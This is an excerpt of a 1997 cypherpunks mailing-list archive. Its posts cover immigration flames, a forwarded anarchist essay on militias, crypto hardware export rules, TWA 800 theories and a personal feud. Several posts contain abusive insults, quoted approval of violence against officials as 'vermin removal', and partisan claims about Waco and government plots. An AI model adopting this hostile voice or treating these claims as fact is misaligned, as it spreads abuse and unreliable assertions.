>   at 11:34 PM, Mikhael Frieden <mikhaelf@mindspring.com> said:
>
>>At 06:53 PM 11/18/97 -0600, William H. Geiger III wrote:
>>>-----BEGIN PGP SIGNED MESSAGE-----
>
>>>I think that there is plenty of case law of extending constutional
>>>protections to non-citizens. One that comes to mind were the rulings
>>>against California inwhich the courts ruled the they were obligated to
>>>provide schooling and social services to illegal aliens (a really fucked
>>>rulling IMNSHO but if some good can come out of it no sense not making use
>>>of it).
>
>>        In a much more fundamental sense, if they were not given
>>constitutional protections they really could be rounded up and bussed
>>across the border. 
>
>And this would be a BadThing(TM)??
>
>- -- 
>- ---------------------------------------------------------------
>William H. Geiger III  http://users.invweb.net/~whgiii
>Geiger Consulting    Cooking With Warp 4.0
>
>Author of E-Secure - PGP Front End for MR/2 Ice
>PGP & MR/2 the only way for secure e-mail.
>OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
>- ---------------------------------------------------------------
>
>-----BEGIN PGP SIGNATURE-----
>Version: 2.6.3a
>Charset: cp850
>Comment: Registered_User_E-Secure_v1.1b1_ES000000
>
>iQCUAwUBNHJqx49Co1n+aLhhAQFRjgP3YOksOybgbGdafOpOgya5TPsrQkBckRAm
>QhnUQWNpEbzAmUY1qPOEliaaGnZ/mftxG/Bfqmk2BGr8cQ1ofXapT1oOCpY0m5Zy
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>=L7O7
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>
>

I am quite confused, I thought this was the cypherpunk list, i.e. national borders are just speed bumps, anarchy, all that stuff? Has there been some change in philosophy where this is now the nationalistic statist list? Put the gestapo at the borders to kill anyone trying to sneak in? Bus those that don't belong here home?

Oooooh I now understand, you just hate, your hate for the government has now spilt over to where you hate citizen units that weren't born in this country. I think you, Mr. Geiger, would find a welcome if you submitted your resume to the Border Patrol, just think you could wear a nice spiffy uniform, and some jackboots, and carry a gun; don't drool when you get accepted.

Just like all the psuedo "freedom fighters" in the militias that Tim is so hyped on, just different thugs that want to control other people's lifes to conform to their belief systems.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Thu, 20 Nov 1997 08:24:35 +0800
To: cypherpunks@Algebra.COM
Subject: Patriot Militias, Neo-Conservatives, And Neo-Libertarians (fwd)
Message-ID: <Pine.GSO.3.95.971119190659.27386C-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain



Highpoints from the 80K piece.

A really fine rant

bd
---------- Forwarded message ----------
Subject: Patriot Militias, Neo-Conservatives, And Neo-Libertarians 


              A
             AA
           AAAA        The A-Infos News Service
         AA   AA
       AA       AA
     INFOSINFOSINFOS   http://www.tao.ca/ainfos/
   AAAA       AAAA
 AAAAA      AAAAA

This essay comes from the june issue of The Leveler, a Los Angeles
Anarchist newspaper. ...

---------------------------------------------------
PART ONE 
----------------
Patriot Militias, Neo-Conservatives, And Neo-Libertarians
by Drifter "Bob" for @nt Press News


1.) ON LIBERTY, MILITIAS AND THE NEW RIGHT

Recently, the long simmering conspiracy theories that have always
existed on the lunatic fringe of the far-right here in America have
been metamorphosing into a variety of surging mass-movements,
organizations, and popular trends, to the great surprise and indeed
alarm of most Americans, especially, of course, those in the center
and left of the political spectrum. The movements associated with this
are growing in influence, power, and militancy, and continue to be
underestimated and misunderstood by the mass-media and the
professional opinion shapers. They may, in fact, reflect general
world-wide trend which could influence the next major series of
transformations of the human condition...

Nowhere can one really find an accurate analysis of these movements in
my opinion, despite the proliferation of simplistic evaluations which
are being bandied about everywhere in the wake of recent events, and I
think it is important for those of us on the far-left, particularly
(small l) libertarians, to try to reach a profound understanding of
the nature of this phenomenon for what it really is. This is true
whether your goal is to fight this thing, to influence it, to benefit
from it's presence, or to anticipate and prepare for it's many
consequences (for anarchists I think there will be many consequences,
both negative and positive).

For about the last year I have been studying the new pseudo 
libertarian right, spending a lot of time reading about it in both the
mainstream and underground media, and also talking to people who are
on the fringes of some of the constituent movements in various forums
on the internet, and other location in 'cyberspace'. Through the
course of hours of virtual arguments interviews and study, as well as
a few face to face conversations, I have formed some opinions of the
real nature of this thing and of our potential role in its
development, existence and influence. I can also guess at some of the
possible outcomes and influences it will have in the future. Before I
describe my own opinions though, I'd like to analyze the ones you are
probably already aware of.

There are basically 4 current views of this thing which are espoused
by the 4 major players who are interested in it: the Establishment
Right; the Establishment Left; the grassroots right (that is to say,
for the most part the militiamen and 'patriots' themselves, as well as
Nazi's and fascists further out on the fringe...); and the grassroots
or far-left. None of these groups in my opinion has an accurate grasp
of the nature of the movements which have arisen, the agendas or
origins of the body of theory that lie behind them, or especially of
the forces which are driving them and giving them all those ideas and
energy, seemingly out of thin air.

2.) WHAT EVERYBODY ELSE THINKS AND WHY THEY ARE ALL WRONG

The Conservative Perspective

The Establishment Right understands it the best probably, though they
of course are missing the point quite a bit so far, thank goodness. In
their opinion (to use their language) this is a popular cultural and
political counter-revolution against the extremes of social liberation
and the resultant breakdown of society, and a fundamental rejection of
the manipulation of the media and the 'cultural elite'. Basically they
see it as the pendulum getting ready to swing very far over to the
right at a time when people thought it was heading to the left, all
the further and harder because it was so unexpected.

By putting this spin on the situation they have been able to 
successfully (so successfully in fact that they may have scared 
themselves.) tap into the stream "anger" and seize a huge amount of
legislative power in the government. By withdrawing the old school
party hacks and presenting more radical, more demagogic new political
candidates who echo some of the buzzwords of the new movement, and by
adopting some issues popular with the grassroots of the right wing,
such as second amendment rights, orthodox Christianity, and various
forms of cultural or racial bigotry, they have managed to seize hold
of the keys to the candy store.

Having been given these keys by the grassroots, the Establishment (or
"Paleo") Right politicians are busy looting it on behalf of their
corporate sponsors, with even more frenetic zeal than you might expect
- as if they were afraid this golden opportunity was nothing but a
dream likely to be snatched out of their greedy hands at any moment.
Their enthusiasm is tempered only by a certain uneasiness about the
powerful and mysterious forces which so suddenly and so unexpectedly
gave them this opportunity, an uncertainty which may prove to be well
founded in the long run.

The Conservative politicians are delighted to pass any number of laws
denying welfare to practicing witches, prohibiting the use of  Soviet
Military vehicles on Interstate Highways, or forbidding members of the
Georgia National Guard from wearing blue helmets and swearing
allegiance to Zionist conspiracies, but eventually their new allies
are going to start wanting some type of action which will lead to an
inevitable conflict of interest. Obviously, any sweeping changes which
will benefit middle and working class  Americans are likely to
adversely effect not just minorities and "special interests" but the
real constituency of the Establishment Right: the Corporate
Plutocracy. When this happens, the shit is going to hit the fan,
because the Paleos won't, of course, be able to move against their
financial backers and the chances are that they won't of course be
able to double-talk the "Patriot" element of their constituency
indefinitely either.

This is the key to the whole thing, which I will explore in more depth
in a minute: some of these people just aren't buying the bullshit
anymore, regardless of how sophisticated or subtle it is - it's not
longer enough, they are going to want concrete improvements in their
lives. If they don't get them, especially when their lives are in fact
made palatably worse as a result of all the Robber-Baron legislative
initiatives sold to them by their friends in the Establishment, they
will turn elsewhere for satisfaction.

The Liberal Perspective

The Establishment Left is even more unprepared and less cognizant of
the nature of this thing. For years the mainstream left has bemoaned
the diminishing levels of popular enthusiasm for or participation in
the "Democratic Process" (i.e. universal suffrage), a fact which they
attribute in a rather elitist manner to the indifference and stupidity
of the electorate in general.

They hold this view in spite of the fact that most of them freely
admit to the rampant ideological stagnation of both parties in the
political system, and to their own personal awareness of the
Machiavellian realities which pull the strings of the power brokers on
the Left as well as the Right.they still expect citizens to
enthusiastically embrace "the lesser of two evils" in spite of the
fact that they know the mainstream left is virtually as bankrupt as
the right.

It never occurred to anyone in the mainstream Establishment, on either
end of the conventional political spectrum, that people were voting by
not voting - that they chose "none of the above" because THEY MEANT
IT, not just because they were trying to be cute. The failure by just
about all politicians other "representatives of the people," such as
the media, to recognize this fact is perhaps due to an unwillingness
on their part to accept the reason for it: many people are beginning
to realize that the current political system is incapable of meeting
their needs, and it is  now starting to look like older techniques of
what Noam Chomsky calls "manufacturing consent" are losing some of
their effectiveness.

Due to their ignorance of and perhaps hostility toward this vast
political, social, and cultural trend, the Establishment Left -
especially the democratic party and the "liberal" elements within the 
media - have positioned themselves as supporters of the reactionary
opposition to it, on the side of government authority.

[...]
One characteristic of this trend is the recognition of a new axis on
the political grid, which may change the shape of political struggle
and ultimately perhaps change the social structures which rule the
world. This new dimension is of course that of liberty versus
authority, which is becoming increasingly important to many ordinary
people, as reflected by some of the strongest new political trends in
the world right now: the libertarian center-right "Northern League"
Party in Italy, which is currently the most important political force
in that country, the left libertarian Zapatista movement in Mexico,
and our own government-fearing right wing "patriots" here in the U.S.,
not to mention various other fairly large left-libertarian anarchist
movements in countries such as Sweden, Denmark, Spain, and Greece.

Adding the libertarians vs. authoritarian axis to the standard 2
dimensional political landscape of the 20th century helps break the
deadlock that ha muddled peoples understanding of political realities
and allowed various governments or other forces to use "lesser of two
evils" rationalizations to support unpalatable agendas. Thus, any
confusion related to such contradictory concepts as the United States
supporting dictatorships in Latin America on the basis that they are
"democratic" due to their opposition to Communism, or from the other
perspective of various "Communist" dictatorships being somehow
revolutionary due to their opposition to Capitalism, can be seen in a
new light: regardless of whether Guatemala is theoretically right-wing
and North Korea is theoretically left-wing, they are both clearly
hellish authoritarian dictatorships which no one in their right mind
would want to live in.

This new distinction is often just as important to regular citizens as
the more traditional economic one (Capitalism vs. Socialism), though
it is normally totally ignored by their political leaders, and they
have finally begun to learn on their own, for some interesting
reasons, that despite the various rationalizations and rhetoric they
are fed to the contrary, the unchecked  growth of State authority in
their own Nation could be as much of a threat as the menace of
Communism or Imperialism from abroad.

The Radical Left

Unfortunately, it looks so far like the majority of organizations and
individuals in the relatively moribund North American left-wing
opposition are no more astute in their reaction to this thing than the
Democratic Party, if anything they are even more enthusiastically
jumping on the LAW AND ORDER bandwagon in their fear of it. This is of
course not entirely without good reason - like many similar populist
trends in the past the current new Right does have some affiliation
with the more rabid Nazi-type groups and political theories.

However, the new movements do not appear to me to be merely a
reincarnation of the John Birch Society. The core of these movements
are not in my opinion highly sympathetic to extreme fascist-type
beliefs, at least not yet, and the size and depth of them probably
preclude simply writing the entire phenomena off as a right-wing
aberration, nor do I believe the grassroots left will greatly benefit
from an alliance with the secret police. After all, gun wielding
citizens militias are not a new thing in this country. They were once
a highly effective tactic of certain progressive groups.
...

... the "Bullshit Gap."

To put it simply, the increasing ability and desire for rapid lateral
communication through such means as the public mail, the underground
press, telephones, fax machines, short-wave radio, and now the
Internet has enabled large sections of the general public to begin to
form their own conclusions about the nature of reality. Perhaps not
surprisingly, these opinions, derived from direct perceptions of the
world, (i.e. research, and observation of individuals), and reinforced
by comparison with the observations of neighbors and friends, differ
to a large degree from the "official" reality paradigms presented by
the Government, the Media, and all the various corporate, social, and
political entities who wish to shape and guide public opinion for
their own ends.

Waco Wake-up

One of the biggest gaps between the officially recognized worldview
and reality as these people see it is in the realm of increasing
government authority and the threat this poses to democracy.
Regardless of whether you may think this is a valid perception, there
is enough information available (especially recently after the release
of government documents to the general public in the early days of the
Clinton administration) to convince hundreds of thousands, perhaps
millions of Americans that there is an increasing danger. Certain
events such as the Waco Texas debacle have dramatically raised the
alarm of common folks from the level of the theoretical to the real
and visceral, much to the confusion of the media and others.

This actually is a common type of reaction historically. It is the
same kind of event that ended an era of hardcore union-busting when
strikers and their families machine-gunned en-masse in the Ludlow
Massacre, forced prison system reforms after the slaughter at Attica,
changed the public opinion of the Anti-War movement after protesters
were shot at Kent State, threw support behind the civil rights
struggle after numerous lynchings and bombings in the Deep South, and
has caused innumerable riots and insurrections throughout the history
of America. Citizens don't like seeing other citizens get killed, once
that starts, it's time to re-evaluate everything they are being told.

The incident at Waco and a few other eerily similar Government acts
over the last few years caused a lot of people to begin casting about
for a new worldview that would not excuse what they saw as Government
murder and oppression. Many folks encountered the increasingly
libertarian leaning body of right-wing conspiracy theories and
urban/rural legend that was already forming a new and fairly
sophisticated if quirky philosophy in the grassroots. The once narrow,
reactionary, intolerant ideology of the far-right had undergone a
quirky evolution which allowed elements of it to find this niche among
the American psyche.

...

[This has been] very frustrating to just about all of their
"representatives" in both political arms of the mainstream, each of whom
views reality through differently colored spectacles and sees these things
as signs of progress. The consensus in the media and the establishment
intelligencia is that the common people are invariably motivated by
short-term greed, backward orthodoxy, or other forms of stupidity, and
are completely incapable of understanding the "Big Picture" or
ultimately even acting in their own self-interests. There is a
universal desire on the part of these folks that the ignorant masses
would stop agitating and causing trouble for their betters and let
them engineer these things for their own good.

The American political and social elite envision an ideal type of
citizen which they have represented in the movie Forest Gump: pious,
loyal, patient, and mildly retarded, with a head full of quaint
colloquialisms and little else, devoted to a lifestyle of family
values, hard work, self-sacrifice, and quiet suffering. A
Gump-American would certainly be willing to forfeit control of his
destiny to the economists and technocrats who have the Harvard and
Yale educations needed to understand the issues of the day, and when
necessary they wold be glad to translate the reasons for the various
austerity measures he will have to endure into amusing Gump-dialect,
so that he could explain them to his family.

[...]
Part of the electorate has seen through some of the weaknesses in the
rather half-hearted arguments of their leaders, and is beginning to
form it's own opinions. Perhaps more ominously, they have developed a
new cynical outlook which insulates them from some of the manipulative
techniques of the past, thus rendering them virtually immune to that
type of influence, for better or for worse.

Thus the American male of the 1990's is in fact turning out to be a
lot different from the wistful fantasy of Forest Gump. The role model
many seem to be emulating is closer to a character from a Charles
Bronson movie: a suspicious, creepy loner with a borderline psychotic
personality which hints at the potential for sudden violence, and 
armed to the teeth with the knowledge and the equipment to be
potentially dangerous. Now many of these guys are getting together in
large groups, broadcasting their dark speculations over the short-wave
radio and the Internet, comparing evaluations of the government and
the ruling institutions, and not liking what they are seeing one bit
through their infrared binoculars.
[...]
__________________________
Radio4All:
http://www.radio4all.org/
The A-Infos Radio Project:
http://www.radio4all.org/radio
http://radio4all.web.net/

     ****** A-Infos News Service *****
  News about and of interest to anarchists

Subscribe -> email MAJORDOMO@TAO.CA
             with the message SUBSCRIBE A-INFOS
Info      -> http://www.tao.ca/ainfos/
Reproduce -> please include this section


 








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Thu, 20 Nov 1997 11:30:11 +0800
To: Lucky Green <joswald@rpkusa.com>
Subject: RE: export restictions and investments
In-Reply-To: <01BCF43F.82159220@joswald@rpkusa.com>
Message-ID: <3.0.3.32.19971119191841.00688af4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:12 AM 11/20/1997 +0100, Lucky Green wrote:
>At this point a brief overview of modexp accelerators might be  in order:
>o the Belgian chips I've seen are too slow.
>o the Rainbow board is OK, but non-exportable.
>o the Chrysalis PCMCIA card has the same performance as the Rainbow board
>at half the price.  Also non-exportable.
>o  the Ncipher SCSI based accelearator screams, but it a bit pricey.
>UK product. Exportable (?) http://www.ncipher.com/
>o a high-end Alpha also performs rather nicely, according to some
>benchmarks Eric Young once posted.

All of the non-exportable ones sound like specialized cryptographic devices,
which are of course evil threats to Yankee National Security,
so of course they're not exportable.  On the other hand, if they weren't
crypto-specific, but just did modexps or other bignum stuff,
as long as they weren't faster than a PentiumII-400, 
and didn't use the C-word in the product literature, they'd be exportable.

				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 20 Nov 1997 11:09:27 +0800
To: <cypherpunks@cyberpass.net>
Subject: RE: Br'er Tim and the Bug Hole
In-Reply-To: <2328C77FF9F2D011AE970000F84104A749343D@indyexch_fddi.indy.tce.com>
Message-ID: <v0400274bb0991fcb5fc5@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:25 pm -0500 on 11/14/97, Tim May wrote:

> I had no "trouble" with Bob recently until he launched a major attack on
> one little phrase,

Straw. Camel. Back. Loon. Major Attack.

> (I found one I hadn't deleted yet, the actual kick-off of this campaign:
> "Tim's Way Cool Latter-Day Farnham's-Freehold in the Santa Clara
> mountains.... a bunch of "freedom fighters" like the one you fancy yourself
> to be these days... instead of shoving your favorite Mac-10 up the nose of
> every statist treehugger you bump into out there in lotusland.... you won't
> have to clean the snot off the end of your
> gunbarrel so often...)

Ahhhh. Fine form I was, too. You shoulda been there, Tim... Upf! You *were*
weren't you, you devil, you...

> A charming way of making his point, eh?

Thankyouverramuch....

> Some would call it "clever"
> writing.

*I*'d think so. I have the finest education that the nation-state can buy.
I love state schools, don't you, Tim?

> I call it just a string of insults. And not even as creative as
> Detweiler used to pull off.

Marvellous. Hettinga. Detweiller. Same thing. Yeah, right, Tim.  Like I
mail bomb the list with humongous screeds about Tentacles of Medusa...

Opppppssss. Um, Anonymously. I mean...

Oh. I get it. Detweiller's *more* creative than I am, so, then...

Sigh. Well, gosh. Looks like ya got me, there, Tim. Detweiller *is* more
creative than I am. I'm crushed, I have to tell ya...


> His general writing style, liberally laced with what I think of as "New
> Wave Journalism" metaphors, is not my writing style, and I usually don't

Ah, c'mon, Tim "New Wave" was 10 years *after* when I learned to write like
this. I came up in, you know, "the worst era of American Education since
the invention of the Public School," remember?

> have the patience to wade through his verbiage to find his actual points.
> Fine. His style is not mine. Neither is John Young's. Or Toto's. Or even
> Bill Stewart's. Such is life.

And, ladies and germs, another point of Tim's wanders off into the sunset,
in search of cute little barnyard animals...

Ooops. Sorry. Heh... Lost my train of thought...

> But overly personal attacks which concentrate on Bob's apparent intense
> dislike of _my_ style (despite his overuse of disingenuous smileys, like
> ":-)"), is a different matter.

:-).

> As Monty noted, "Physician heal thyself!  Much of your discussion consists
> of ad
> hominem attacks with little content such as the paragraph quoted above."

Actually, I think we've handled the definition of "Ad Hominem", already
(wait, there's a list of them somewhere... Oh, you've got it? Cool.). I'd
call what I said, "needless vituperative insults", wouldn't you? (Wait,
I've got a definition of "vituperative" somewhere... Never mind? Okay).


Just feeding you back your own bullshit, Tim, and I've learned from a
master. Reap what you've sown, Bunky.


> I've tried to keep my replies to him brief.

Like this terse little missive I'm replying to? Please.

However, if you are, maybe it's because you're at a loss for words. Maybe
it's becaue you can't write anything new anymore? Black Helicopters got
your toungue?

I remember someone as much as a year ago, talking about how there aren't
any more long essays on cypherpunks anymore. Oh. And someone else, a few
days ago, saying something about how I wasn't posting? And now here, before
I even took a *break*, you say I'm writing too *much*?

The ganglia twitch...


> It delights me that many of my
> brief replies have generated long, overwrought replies from him.

Everytime you throw a little crap at me, I park a dumptruck full on your
front lawn? Fine by me...

>  Delights
> me as I skim them to get the gist of his insults, then send his missive
> into oblivion.

Ah. Good. They were meant to be skimmed. The subliminal messages will kick
in at 12:02 pm, Thanksgiving Day. You'll have this uncontrollable urge to
stand naked on on your front porch, with your arms outstretched exactly 1
inch apart, so the local sherrif's SWAT-Auxillary can handcuff you and take
you to your new mate in a county jail somewhere...

:-).


> If Bob has objections or differences of opinion, fine.

Enormous ones. Absolutely. Damn straight. I used to think you were a
grandstanding, name-dropping vituperatively marvelous son of a bitch, Tim,
and I used to *love* your opinions.

Now, however, *my* opinion is that you're just a loon. Big difference of
opinion, there, did you catch it?

> But he should not
> squander his reputation capital by foaming about my personal choices, by
> referring to snot running down my barrel,

Tim, Tim, Tim. To you think I would squander my reputation capital on just
*anyone*? <BudLightMan> I *Love* you man...</BLM>

>  by claiming I said I was going to
> kill a judge, and other such lies.

No, Tim. You threatened a judge. Frankly, if I hadn't called you on *that*
little episode, you'd probably have said worse, by now instead of denying
up and down that you didn't say it, and, sooner or later, you'd have pissed
off someone without the "proper" educational credentials, and an
"inapprpriate" desire to play soldier. <Ooopsss. Is there an echo in here?>

> And he really ought to tone down his "Hunter S. Thompsen wannabee" style of
> writing. It was old a couple of years ago.

Thompson, Tim. Thompson. Don't take the master's name in vain. Heck, he'd
probably call me a Fucking Statist, like you will, soon enough. Anyway, my
writing not nearly tired as your "there's a [statist] under every bush" is
anymore, Mr. Welch.

However right *those* guys might have been -- and, frankly, *you* were,
until you started predicting the Immediate Destruction of the Republic,
film at eleven. Or deciding that you're going to start the revolution all
by yourself.

<WhiningLiberalMode> *Frankly*, Tim, I think it's awfully *selfish* not
having your *friends* there to help you stand at the barracades. </WLM>


Oh. Tim? One more thing.

My writing style, or lack of it, has nothing to do with the fact that
everything I said, in your bad paraphrasing of that quote of mine up there,
is stone cold truth.

Right back atcha, Tim. To paraphrase you yourself said to me, "Get over it."

Or, was it, "Get a life"?

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jyri Kaljundi <jk@stallion.ee>
Date: Thu, 20 Nov 1997 01:47:37 +0800
To: cypherpunks@toad.com
Subject: OECD E-Commerce web
Message-ID: <Pine.GSO.3.95.971119193033.26754a-100000@nebula>
MIME-Version: 1.0
Content-Type: text/plain




I don't remember if it was already mentioned, but the OECD E-Commerce
conference is also being broadcast using Realaudio/Realvideo by EUNet. 
The web page is at http://www.turku.eu.net/

(And the official conference web is at:
http://www.oecd.org/dsti/iccp/e-comm/index.htm
)

Jyri Kaljundi
jk@stallion.ee
AS Stallion Ltd
http://www.stallion.ee/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 20 Nov 1997 08:42:01 +0800
To: cypherpunks@toad.com
Subject: NBC Mugs Jim Bell
Message-ID: <1.5.4.32.19971120003433.007127f0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



An NBC News story this evening on the threat of CB
terrorism full-screened a closeup of Jim Bell's mug shot, 
the same as the lead photo in US News last week. The
story presented much the same line and Internet
sources of frightening information but did not balance
it with a sidebar on burgeoning anti-terrorist opportunism
as did US News.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Thu, 20 Nov 1997 08:53:52 +0800
To: Fisher Mark <FisherM@exch1.indy.tce.com>
Subject: RE: Search engines and https
In-Reply-To: <2328C77FF9F2D011AE970000F84104A749344B@indyexch_fddi.indy.tce.com>
Message-ID: <3.0.3.32.19971119194653.033a2098@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 01:02 PM 11/19/97 -0500, Fisher Mark wrote:
>* Many of us find being your own Certificate Authority makes for greater
>security, as you never have to let your private keys out the door, but
>only recently have the tools for creating and maintaining Certificate
>Authorities and server certificates become really commercialized (i.e.
>GUI front ends, available from Netscape and Microsoft, etc.)

Can someone direct me where to get CA software to sign my own Stronghold key?


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 20 Nov 1997 09:13:51 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: From the Files - Freeh and Flight 800
Message-ID: <1.5.4.32.19971120010958.006d23b4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Marc Rotenberg wrote:
>
>FWIW, Kallstrom spent much of his time at the press
>conference this week debunking the missle theory.
>The FBI's explanation for why so many eyewitnesses
>appeared to see a missile approach the plane boils
>down to this: observers, alerted by the explosion,
>were actually observing a wing falling away from
>the plane.

To amplify this a bit: the explanation also included the
speculation of cascading fuel being ignited from the
bottom and flaming upward, which could be interpreted 
by the observers as a missile rising. 

An interesting view which I wonder if any of our scientists
here find credible. 

Perhaps I missed it, but I don't recall the CIA video showing
upward flaming fuel, rather it showed a billowing explosion
centered on the main fuel tank of the upturning fuselage
(as the front cabin plummeted).

Is it feasible that the fuel would ignite and flame upward 
that way or would it be too broadly dispersed by speed 
and the atmosphere to cause a coherent, shaped flame 
such as that of a missile tail? For example, would an 
adept pilot be able to tell the difference?

This is posed because of the way several theories of
the OKC blomb blast got it wrong due to overly
narrow initial interpretation as did misinterpretations
of other controversial "terrorisms."

Perhaps Tim May is correct in his assessment of Jim,
but NTSC's upcoming hearing should produce more 
reliable technical information than Kallstrom appears to 
be comfortable handling -- given his bent for melodrama 
fine details of investigation seem to be an annoyance,
although he appeared to like the assurance of the CIA's 
virtual reality.

Kallstrom also said that the case will remain open, I guess
in case Boeing or TWA or something needs to be zapped
by blind justice.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 20 Nov 1997 11:08:56 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <199711141755.SAA20812@basement.replay.com>
Message-ID: <v0400274cb099333ef18f@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:52 pm -0500 on 11/14/97, Tim May kept shovelling it out:

> Big deal. Nothing Tom Clancy hasn't talked about in his novels. (And recall
> Clancy's delicious description of a Japanese 747 loaded with jet fuel being
> crashed into the main hall of Congress during a joint session, with the
> President and cabinet in attendance. It was clear that Clancy was vicarious
> relishing this vermin removal effort. Gonna suggest that Clancy has
> committed a crime? No doubt Hettinga would.)

Nope. It was fiction. Jingoistic :-) fiction, but fiction nonetheless.
Helps if you've sold 100 million books or something before the fact.
Frankly I didn't get that far into the story, because the way Clancy
planned to take Wall Street out made me laugh out loud.
Blow-milk-out-your-nose funny, especially if you have even the most
rudimentary financial operations experience, which is all I have. Financial
science fiction written from the viewpoint of an insurance salesman is
always funny, I guess, as we'll learn in a product announcement around here
someday, I bet...

You, on the other hand, Tim, have not sold tens of millions of books, but
you did say that war was at hand, and, in the very next breath, you
threatened a very specific federal judge by saying he committed a "capital"
crime. Whatever "capital" means. Not that it matters, of course, after all,
it's just "vermin control", right?


And, no, Tim, not once have I suggested that what you did was a crime at
all. In fact, I have consistantly said it could just be *treated* as one by
anyone with sufficient motivation to do so, whether you were apprehended,
or jailed, or tried, or convicted -- or not. And "not" in this case, as Jim
Bell shows us, can be an interesting set of results...


Finally, and to the point, I don't say that what you said then is
immediately going to get you a stay in Club Fed somewhere, but that your
continued escalation of this kind of stuff makes that a probability, and
that it looked to me like you were doing it on purpose in order to provoke
a confrontation of some kind, God knows why. I still believe you'd still be
escalating that bizarre silliness, instead of backpedaling with all this
equivocation, if I hadn't called you on it at the time.


And, finally, I *don't* believe the world's going to end in some
state-sponsored cataclysm, for you, for me, or for your favorite official
vermin, just because the technology of strong cryptography over ubiquitous
networks makes vertically integrated hierarchical entities like
nation-states economically obsolete someday.

Even if it happens all at once, which it can't. Even if that day is maybe
sooner rather than later, which would be nice but probably not anytime
soon. Even if it's the Millenium, or even Thanksgiving: a day which, of
course, is ludicrously too soon for anyone's revolution anyway. :-).


Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Magus Mixmaster Anonymous Remailer Service <mix@magusnet.com>
Date: Thu, 20 Nov 1997 11:42:08 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Fairy Gold
Message-ID: <7329b5c01fd0e2f938d13c3088a03f9e@magusnet.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Monty Cantsin wrote:
>Anonymous <anon@anon.efga.org> wrote:
>>Persistent identities suck.  Ideas stand or fall on their own.
>>Reputation capital is fairy gold, evaporating with the morning dew.

If this were really true, you would have posted your message under your real 
name (a.k.a., your persistent identity).  The fact that you chose to make 
your statement anonymously only proves the inverse of what you say.

>I do not believe this to be true.  Of course, concepts are valid
>regardless of their source.  It would be unwise to take the statements
>even of established identities on faith.
>
>The advantage of persistent identity is that it allows the exploration
>of more complicated ideas.  Use of the persistent identity places a
>particular post in a greater context.
>
>There is only so much that can be done in a single post.  It is the
>mailing list equivalent of a sound bite.

We should remember that -- at least here in America and the rest of the 
so-called first world -- we live in the age of the sound bite where the 
"medium is the message."  Public opinion is manipulated by the puppetmasters 
who pull the emotional strings of John and Jane Q. Public sitting in front 
of the TV each night.  Witness how anyone who has watched a video on Waco is 
quickly being lumped into the category of an anti-government extremist 
(Terry Nichols had two copies of "Waco Under Siege" in his house).  The 
underlying message is, "don't consider any of the facts that the video 
viewer presents to you, just realize he/she is an extremist."

Frankly, I wasn't there at Waco so I don't know what happened.  However, as 
Monty pointed out in another post, the fact that the FBI/BATF/etc. 
administered the gas into the Davidian home (notice how I fail to use the 
media-sanctioned term "compound") is clearly an aggressive act on the part of 
the U.S. gov't.  Regardless of what the spinmeisters say (both on the left 
and the right) no human being with a conscience can take note of this fact 
and say that the feds were justified in their actions.  Gassing children?  
Come on.

A single sound bite on its own will do nothing, but a persistent group of 
sound bites presented over time with a recurring message can create a great 
amount of influence.  This is how public opinion is formed through mass
media channels.

But think about this: who is the author of these mass media sound bites?  
Can you name the person?

It's easy to say that it's the feds, the ZOG, the NWO crew...but you can't 
name an individual can you?  Why is that?

Seriously, think about this question.  It has a lot to do with a major
cypherpunk theme: anonymity.  But in this case, with hardly any conscious
responsibility.

Nerthus

P.S. Notice how my response becomes "negated" by Monty's previous response 
when you read the first 6 lines of text in order:

"
>>Persistent identities suck.  Ideas stand or fall on their own.
>>Reputation capital is fairy gold, evaporating with the morning dew.

If that were really true, you would have posted your message under your real
